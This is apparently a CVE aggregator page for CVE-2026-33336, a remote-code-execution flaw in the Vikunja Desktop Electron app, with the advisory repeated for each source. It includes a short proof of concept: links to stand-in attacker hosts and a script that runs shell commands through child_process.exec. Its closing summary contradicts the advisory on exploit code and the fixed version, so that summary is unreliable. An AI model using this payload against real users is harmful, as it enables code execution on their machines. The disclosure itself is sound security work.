Every CVE Search/ Get API key

CVE-2026-33336

Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation

6.5 Medium

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

  1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, child_process, fs, etc.).

  2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by:

    • <a href="https://..."> links (without target="_blank")
    • window.location assignments
    • HTTP redirects
    • <meta http-equiv="refresh"> tags

Attack scenario

  1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
  2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a>
  3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output.
  4. The victim uses Vikunja Desktop and clicks the link.
  5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process.
  6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('child_process').exec('id > /tmp/pwned');
  7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

  1. Set up a Vikunja instance with two users sharing a project.
  2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a>
  3. Host poc.html with: <script>require('child_process').exec('calc.exe')</script>
  4. As the victim, open the project in Vikunja Desktop and click the link.
  5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
None

Exploit likelihood

1.16%Up 0.8 points since Mar 25, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

  1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, child_process, fs, etc.).

  2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by:

    • <a href="https://..."> links (without target="_blank")
    • window.location assignments
    • HTTP redirects
    • <meta http-equiv="refresh"> tags

Attack scenario

  1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
  2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a>
  3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output.
  4. The victim uses Vikunja Desktop and clicks the link.
  5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process.
  6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('child_process').exec('id > /tmp/pwned');
  7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

  1. Set up a Vikunja instance with two users sharing a project.
  2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a>
  3. Host poc.html with: <script>require('child_process').exec('calc.exe')</script>
  4. As the victim, open the project in Vikunja Desktop and click the link.
  5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

Record
CVE-2026-33336
CVSS 4.0
6.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-14911 6.5

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

  1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, child_process, fs, etc.).

  2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by:

    • <a href="https://..."> links (without target="_blank")
    • window.location assignments
    • HTTP redirects
    • <meta http-equiv="refresh"> tags

Attack scenario

  1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
  2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a>
  3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output.
  4. The victim uses Vikunja Desktop and clicks the link.
  5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process.
  6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('child_process').exec('id > /tmp/pwned');
  7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

  1. Set up a Vikunja instance with two users sharing a project.
  2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a>
  3. Host poc.html with: <script>require('child_process').exec('calc.exe')</script>
  4. As the victim, open the project in Vikunja Desktop and click the link.
  5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

Record
EUVD-2026-14911
CVSS 4.0
6.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Updated
2026-11-02
NVD 6.5

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

  1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, child_process, fs, etc.).

  2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by:

    • <a href="https://..."> links (without target="_blank")
    • window.location assignments
    • HTTP redirects
    • <meta http-equiv="refresh"> tags

Attack scenario

  1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
  2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a>
  3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output.
  4. The victim uses Vikunja Desktop and clicks the link.
  5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process.
  6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('child_process').exec('id > /tmp/pwned');
  7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

  1. Set up a Vikunja instance with two users sharing a project.
  2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a>
  3. Host poc.html with: <script>require('child_process').exec('calc.exe')</script>
  4. As the victim, open the project in Vikunja Desktop and click the link.
  5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

Record
CVE-2026-33336
CVSS 4.0
6.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV 6.5

Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

  1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, child_process, fs, etc.).

  2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by:

    • <a href="https://..."> links (without target="_blank")
    • window.location assignments
    • HTTP redirects
    • <meta http-equiv="refresh"> tags

Attack scenario

  1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
  2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a>
  3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output.
  4. The victim uses Vikunja Desktop and clicks the link.
  5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process.
  6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('child_process').exec('id > /tmp/pwned');
  7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

  1. Set up a Vikunja instance with two users sharing a project.
  2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a>
  3. Host poc.html with: <script>require('child_process').exec('calc.exe')</script>
  4. As the victim, open the project in Vikunja Desktop and click the link.
  5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

Record
CVE-2026-33336
CVSS 4.0
6.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Weakness
CWE-94
Updated
2026-11-02

Affected products

History

History
RecordedChangedSources
first indexedCVE List, EUVD, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-33336 is a medium vulnerability (CVSS 6.5) in Go-vikunja Vikunja, published March 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.16%, the 67th percentile. No source names a fixed version.

References

MoveEnter Open